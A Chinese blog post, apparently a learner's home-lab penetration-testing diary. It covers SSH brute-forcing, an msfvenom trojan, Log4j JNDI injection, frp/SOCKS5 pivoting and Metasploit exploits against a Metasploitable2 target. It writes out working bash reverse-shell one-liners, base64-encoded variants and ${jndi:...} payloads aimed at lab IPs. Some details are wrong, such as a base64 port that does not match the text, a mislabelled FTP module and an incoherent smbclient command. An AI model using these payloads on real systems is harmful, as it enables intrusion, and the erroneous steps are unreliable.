官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
须知
写这个文章之前,想着熟悉隧道搭建、cs、msf等软件的利用和实战测试下,但是等等原因(主要是自己懂得太少了)导致这个文章写的零散,没有一样具体化了,就当作熟悉下这个流程吧。
因为想模拟实战,所以弄了个vps主机(在腾讯云白嫖的,正好测试下)
主机kali:模仿cs客户端攻击方,ip:192.168.0.156
ubuntu:ip1:192.168.0.193,ip2:10.1.1.1/24(内网ip)
内网主机Metasploitable2(名字太长故以下叫靶机):模仿没有联网的内网服务器,ip:10.1.1.2/24
kali:192.168.0.156
vps:cs服务端,frp服务端,ip就不详细列出了:43.142.*.*
vps开放的端口
介绍下这整个流程:
通过一定的渗透获取服务器shell(指的是实际公网web的服务器,在这个测试指的是ubuntu主机)
获取了ubuntu的shell,与我的vps搭建建立隧道
把msf加入隧道,实现对内网的渗透
测试各pc连通性
新增一个主机ubuntu的网络适配器,适配器1的连接模式为桥接,适配器2的模式为自定义,选择vmnet3(注意待会Metasploitable2的适配器的连接模式要与这个一样),然后设置适配器2ip:10.1.1.1
Metasplotable2的连接模式为自定义连接,选择vmnet3,然后ip设置为10.1.1.2
kali的ip也是桥接模式。最后vps、kali、ubuntu ip1能互相通信的,而ubuntu的ip2能于靶机互相通信,并且vps和kali无法与靶机通信即代表环境搭配成功。
cs软件运行起来
vps 服务端 配置并运行
kali 客户端连接服务端,并开启端口8082监听中了木马客户端连接请求
这个客户端ip是192.168.0.193的写错了。
获取ubuntu的shell
基于端口爆破获取ubuntu shell
使用msscan快速扫描开放的端口。存在端口22、80开放,经过查看了49153端口,发现和80端口内容一样,就不管这个端口了,使用nmap 详细扫描下端口的信息和常见漏洞
得知22端口是ssh服务,就可以使用端口爆破密码(这里为了简单和时间,就直接设置用户名为root、密码为弱密码)
使用Hydra爆破ssh用户密码
知道用户名root、密码123456。kali登录ssh
基于cs 生成木马诱导ubuntu执行获取shell
使用msfvernom生成木马,会话传递给cs监听
生成一个木马,只要这个木马运行,就会主动与192.168.0.156 8000端口通信
接下来要做的事情就是把这个文件挂到服务器上,然后利用ssh下载这个文件,当然也可以直接上传文件到ubuntu,因为已经知道了用户密码了。
客户端上传这个木马文件到服务器上
这个就是url就是木马的下载链接
kali使用用户密码上传
登录ssh后使用curl下载
kali设置一个8000端口监听,用于监听执行木马客户端的连接请求。
接下来登录ubuntu ssh 运行木马文件
已经成功监听到了。接下来把这个连接会话给cs
但是我想找linux的payload_inject 模块结果找不到(有知道的可以告诉下),这个模块的作用是将指定会话session id注入到新到CobaltStrike会话中,然后cs就可以监听这个会话了。在这个生成木马的时候,我还试过反向连接的ip和端口为cs的监听端口也是不行,那就只能通过cs生成的木马让ubumtu执行了。
搜索才知道。监听linux需要下载genCrossC2,算了就不尝试了。
因为使用msf制作的木马,也已经监听到了,这里就先到这里了。
基于apache log4j2 漏洞获取shell(原先想找个log4j2漏洞在我ubuntu上搭建,然后通过这个漏洞获取shell,但是手动搭建好麻烦,就没弄了,便用docker拉取的镜像模拟测试下)
因为之前端口扫描的时候,存在一个80端口开放,并且这是个web,而且这是我搭建的存在apache log4j2的漏洞
抓包测试判断是否存在log4j2漏洞
测试存在log4j2漏洞,接下来构造反弹shell的payload(利用别人已经构造的ext)。
JNDI注入工具的语句格式:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “攻击机的ip”(注意这个命令要经过base64编码)
这里我构造的命令:bash -i >& /dev/tcp/192.168.0.156/8000 0>&1(这个Bash 命令的意思是将当前的 Bash shell 变成一个反向 shell,它会将命令行输入发送到远程主机上的 TCP 端口,然后将远程主机上的输出发送回本地的 Bash shell,所以这里我设置了kali来8000端口来监听)
将此命令使用base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==
最后的命令为(这里其实有点不懂,为啥先base编码,然后又解码,是因为逃逸啥吗?):“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}”(查阅资料的意思是:它的作用是将一个经过 Base64 编码的命令字符串解码并在目标主机上执行。具体来说,这个命令使用
-c
选项来指定要执行的命令,该命令是一个由多个管道符号|
连接的命令序列。第一个命令是echo
,它将 Base64 编码的命令字符串输出到标准输出。第二个命令是base64
,它将标准输入中的 Base64 编码解码为原始命令字符串。第三个命令是bash
,它将解码后的命令字符串作为输入,并在目标主机上执行该命令。最终的效果是在目标主机上执行了一个由 Base64 编码的命令字符串,该命令字符串的内容是bash -i >& /dev/tcp/192.168.0.156/8000 0>&1
,它将当前的 Bash shell 与远程主机上的一个 TCP 端口建立连接,并将输入和输出重定向到该连接,从而创建一个反向 shell)最后完整的JNDI注入工具语句为:java - jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156
kali再使用瑞士军刀nc开启8000端口监听
kali运行java此语句
会生成两个协议的执行命令,这两个协议在log4j2中都有执行权限
rmi://192.168.0.156:1099/syojwi
ldap://192.168.0.156:1389/syojwi
最终payloa(任选其一即可):
${jndi:rmi://192.168.0.156:1099/syojwi}
${jndi:ldap://192.168.0.156:1389/syojwi}
使用url编码赋值个payload字段即可(这里我选第一个)
结果kali没有接收到连接。。。,查阅资料是1099,1389,8180这三个端口确保可用,那么先用netstat -antupl查看下端口的开放情况。
8180和1389端口是监听状态的,但没有看1099端口,看下JNDI注入工具的运行状态。
直接杀死这个JNDI注入工具进程,然后重新运行。
ok,端口都是运行的了,bp重新发个包。
但是结果一放包,还是接收不到反弹shell的连接,查看下JNDI注入工具。
原因是找不到syojwi文件。
接着我更换了kali java版本为jdk8(更换方法),然后使用ldap协议,且JNDI注入工具的java包路径为绝对路径。经过测试,JNDI注入工具正常了,但是无法接收到shell的连接。
嗯,只能再次尝试了,这次换个端口为4848(!此时的心情!)
构造payload1 bash反弹shell=》bash -i >& /dev/tcp/192.168.0.156/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzQ4NDggMD4mMQ===》完整的JNDI工具注入语句:java -jar /home/apachelog4j2/Apache-Log4j-Learning-main/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156
运行构造payload2:${jndi:ldap://192.168.0.156:1389/uzzvbb}
kali开启4848端口监听
将payload2进行url编码给get请求中的payload赋值,放包
很遗憾还是没有连接到shell。
最后才反应过来,这个log4j2漏洞网页的漏洞是我在ubuntu的docker部署的,因为网段不一样是无法访问我kali主机的。
只能放弃了,那么现在就把shell反弹给ubuntu吧。
构造bash反弹shell的命令:bash -i >& /dev/tcp/192.168.0.193/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==》完整的JNDI工具注入语句:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.193
构造payload2=》${jndi:rmi://192.168.0.193:1099/a7x5hi}=》ubuntu(192.168.0.193)开启4848端口监听=》将payload2进行payload进行url编码后给payload字段传参
已经成功的连接到了docker容器的shell。
获取了ubuntu的shell,接下来我们就需要开始内网穿透了,扫描其内网的存活设备,并获得其shell
因为已经获取了shell,使用ifconfig命令就可以知道ip信息。
可以看到存在两个网卡,一个网卡的网段是192.168.0.0/24 另一个网段是10.1.1.0/24。扫描网段10.1.1.0/24这个网段的信息,来实现内网横向移动。
首先我们要借用ubuntu扫描内网,因此需要与ubuntu建立隧道。(frp下载链接)
vps配置服务端frp(vim /frps.in)和开启(./frps -c ./frps.ini)
ubuntu客户端配置frp(vim /frpc.ini)和运行(./frpc -c ./frpc.ini)
server_addr = 43.142.*.* #用于服务端的(vps)ip
server_port = 7000 #服务端(vps)监听的端口
[ssh] #
type = tcp #ssh连接的通信协议为tcp
local_ip = 127.0.0.1#ssh连接的ip
local_port = 22 #ssh连接的端口
remote_port = 8082#用于转发ssh端口的服务器(vps)端口,就是说只要访问 vps 8082端口就是在访问frp客户端的22端口。
[socks5]
type=tcp #socks5通信的协议
remote_port=8888#socks5的端口
plugin=socks5#指定了使用socks5插件
然后把这个配置好的客户端发送给ubuntu并启动。这里就使用用msf。
启用msf,并监听之前上传木马的端口8000并且运行木马文件.
运行frp客户端。
到这里呢。vps与ubuntu隧道已经建立完毕。现在使用proxychains+nmap扫描内网。
proxychains配置
使用proxychains+nmap扫描内网存活主机
为了简单,这里我已经知道10.1.1.2的主机就是我们的靶机。就直接对这个主机进行渗透。
对10.1.1.2ip的信息收集
系统信息:proxychins nmap -O 10.1.1.2
端口开放情况(好像只能使用tcp全连接扫描,如果用其他(半开扫描、ACK扫描、UDP扫描等等)都会扫描不到端口。因为socks代理不支持ICMP、ARP等网络层的协议,但是有点不理解为啥半开扫描也不行):proxychins nmap -p- 10.1.1.2 2>&1 |grep 'OK'
接下来都使用msf来进行渗透,首先把msf添加到代理中。
setg Prompt socks5:43.142.*.*:8888(vps服务器ip和socks5端口,用setgproxies socks:socks5:43.142.*.*8888这个命令进行msf代理,前面的那个prompt是个提示符) setg ReverseAllowProxy true(允许反向连接,提高链接的稳定性)
到这里呢,我已经把msf连接到了内网(通过socks5代理),接下来根据端口号进行渗透。
ftp(21)
auxiliary/scanner/ftp/anonymous(探测ftp是否允许匿名登录),没有结果。。但是能看到服务版本是2.3.4.
寻找ftp2.3.4版本的漏洞,然后使用这个漏洞exploit/unix/ftp/proftpd_133c_backdoor(在未经身份验证的情况下获取 root 权限)
到此成功利用ftp漏洞获取了靶机的shell。
ssh(22)
探测ssh版本信息(auxiliary/scanner/ssh/ssh_version)
针对版本4.7漏洞,找到了一些,但是尝试,有的需要的东西太繁琐了,有的失败了,这里还是爆破吧(一样这里已知用户msfadmin):auxiliary/scanner/ssh/ssh_login
知道了用户名msfadmin密码msfadmin,当然也可以尝试爆破root,至于提权最后再尝试,知道了ssh的用户名和密码就可以登录shell了。
23(talent)
主要就是爆破用户名密码的,就不尝试了。
25(smtp),这个协议简单了解了下,没找到具体能渗透啥的。
53(DNS)收集信息,或者其他的利用
80(http),访问网页后再看,因为这是内网的,所以需要给浏览器设置代理,因为我是用的bp自带的浏览器,所以对bp进行设置就可以了。
这里的漏洞,就不去手动测了,直接用awvs扫。这里的8090端口是我给10.1.1.2 80端口进行的端口转发,具体的frp客户端的配置
就以第一个测试吧
了解CVE-2012-2311漏洞,执行远程代码
抓取主页的请求包
执行远程代码
解释下
allow_url_include=on:允许
include
和require
语句中使用URL路径auto_prepend_file=php://input:PHP会将HTTP请求体作为一个文件读取,并将其作为自动包含的文件
:执行whoami和ls命令
其他的漏洞就不尝试了。
111(RPC)找了些漏洞,但是我实测只有个ddos攻击CVE-2017-8779,没找到其他的。
139(SMB)首先使用辅助模块扫描下smb的版本信息:auxiliary/scanner/smb/smb_version
默认扫描的是445端口,算了就这样吧,发现扫描到了samba 3.0.20的版本,那么寻找这个版本的漏洞。
使用cve-2007-2447
发现这里要设置源主机和端口,直接监听9797端口。但是这里有个问题,我们的反弹shell的ip只能是ubuntu,因为其他的ip,靶机是访问不到的,这里可以直接用ubuntu来监听的,因为已经获取了ubuntu的shell,但是我想要kali来监听,想了下,能否可以用端口转发,把ubuntu的9797端口转发到vps的9797端口,然后监听vps的9797端口!。(末尾有解决办法!!!)
然而想法是美好的,但总是出幺蛾子,直接绑定失败,给我验证的机会都没,经过尝试只有运行msf的kali ip才能绑定上。哪怕我把ip为靶机同一网段的ip也不行,真是怪。(末尾有解决办法!!!)
那么这个cve就直接利用不了啊,因为你靶机的shell只能反弹给192.168.0.193(ubuntu)和10.1.1.0/24的主机,与其他pc是通信不了的,然后想手动注入,查到了手动注入代码为(执行 whoami 命令):smbclient -U " " -N -L "\\target_ip\share_name" -c "echo \"[global]\" > /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && echo \"[tmp]\" >> /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && smbclient //target_ip/tmp -U \"\" -N -c \"put /bin/sh /tmp/sh && chmod +x /tmp/sh\" && smbclient //target_ip/tmp -U \"\" -N -c \"/tmp/sh -c 'whoami'\"
但是执行失败。
至于其他漏洞都差不多,绑定失败
只能用端口爆破密码,这个就不演示了。
445端口(smb)就不说了,至于512、513、514这三个端口是rsh系列。在系统之后被错误配置从而允许远程访问者从任何地方访问。首先rexec协议已经被大部分操作系统和网络设备所禁用,其次kali还要安装,就不尝试了。
1099(Java RMI 服务的注册表),找到了:exploit/multi/misc/java_rmi_server模块,但是一样用不了
1524(metasploit root shell),直接拿netcat连接即可
2049(这个与111端口一样都是nsf,是一种分布式文件系统协议),但是这里我连使用:auxiliary/scanner/nfs/nfsmount模块去验证都验证不了,具体的的攻击就不尝试了。
2121(Java语言开发的FTP服务器软件),查了下存在目录遍历漏洞,但是遍历的前提是进行用户登录,所以也就只有个端口爆破密码了
3306(mysql)可以尝试爆破用户密码。
3632(Distcc Daemon默认的监听端口,用于接收来自Distcc客户端的连接请求):使用 exploit/unix/misc/distcc_exec就可以远程执行任意命令。但是一样无法设置反弹shell的监听ip,只能作罢。
5432(postgresql),端口爆破。
5900(VNC远程桌面协议的默认端口)可以爆破。
6000(是一种基于客户端/服务器架构的图形化界面系统,也称为X Window系统。它可以让用户通过网络远程访问和控制其他计算机的图形化界面)。好像也只能爆破。。
6667、6697 (IRC(Internet Relay Chat)协议的默认端口,用于提供在线聊天服务):exploit/unix/irc/unreal_ircd_3281_backdoor,同样无法无法设置反弹shell的监听ip,只能作罢。
8009(Apache Tomcat应用服务器的默认AJP(Apache JServ Protocol)连接端口) :exploit/multi/http/tomcat_mgr_deploy,测试失败
8180,msf的端口和nmap都没扫出来是什么服务。
8787(Java Debug Wire Protocol(JDWP)的默认端口,用于Java应用程序的远程调试和监控):exploit/multi/misc/java_jdwp_debugger,发现需要反向连接,监听的ip又绑定不了。。
到此呢,这个内网渗透算结束了,总结下吧。
这整个做下来发现msf好多的反弹shell都不能使用,还是对msf不够了解(其实尝试许多方法,也查了下资料说msf使用socks5有bug,但是呢发现frp使用socks4报错[socks4] start error: plugin [socks4] is not registered,可能是不支持还是啥的)。
懂得东西的太少了,以至于每接收到一个陌生的词汇、知识点,就要去了解,还好有个chatgpt(简直就是全能的咨询师)。
这个是我后补充的(反弹shell失败的解决办法):
之前那些反向shell,不是接收不到吗,经过尝试得知原因是因为setg proxies socks:socks5:43.142.*.*:8888这个代理可能存在问题,直接使用proxychins启动msf就可以解决这个问题(proxychins msfdb run).还有上面的那个把监听到的shell不是反弹给ubuntu了吗,我说我想把这个监听的端口进行转发,然后kali去监听这个端口(nc -lvp ),这个好像是不行的。所以只能把这个Lhosts设为10.1.1.1,因为其他的ip,靶机它访问不到,所以说我之前设置为192.168.0.193是错误的,当然可以在靶机上设置个静态路由(sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.193)具体操作:
proxychins启动msf
使用:exploit/multi/samba/usermap_script模块,并配置需要的配置。
ubuntu监听10.1.1.1 9797端口,并且msf run
这里如果实在想把这个shell反弹给vps,可以尝试下把ubuntu和靶机建立隧道,这样靶机的流量就可以从ubuntu端出去,从而可以访问vps、访问外网。